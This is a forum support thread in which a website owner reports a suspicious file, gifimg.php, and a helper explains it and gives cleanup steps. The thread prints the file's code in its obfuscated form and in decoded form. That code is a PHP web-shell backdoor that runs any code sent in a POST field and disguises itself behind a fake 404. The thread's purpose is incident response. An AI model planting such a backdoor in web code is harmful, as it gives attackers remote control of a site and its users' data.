Yes, it seems that someone is infected or at least the PC is infected ... antivirus knows someone who could fix the problem.

Hello.

State reviewing and within the images folder, I found a strange file that never was, it is: gifimg.php

In which your code is as follows ...

Code: [Download] [Hide] [Select]
<?php  eval(base64_decode('aWYoaXNzZXQoJF9QT1NUWydlJ10pKWV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpO2Vsc2UgZGllKCc0MDQgTm90IEZvdW5kJyk7'));?>


untitled_1261327834_658035

I hope I can help. Thanks

Definitely, someone exploited your files...

That code means...
Code: [Download] [Hide] [Select]
if(isset($_POST['e']))eval(base64_decode($_POST['e']));else die('404 Not Found');
So this just gets some code through POST vars and executes it.

Try this: edit that file and replace all it's code with
Code: [Download] [Hide] [Select]
<?php
die();
?>
Then give that file read-only permissions (644).

It's not a definitive solution, but it might avoid the virus from appearing again.

Then check your files to see if you can find gifimg on it's content, or some base64_decode functions...
I suggest you to check common.php, includes/constants.php, includes/page_header.php..

It the hacker is smart engough could have cloacked the file name, so check also for any eval fuction on all the website code.

BTW, this could be a bug in icy on in any other software you have....
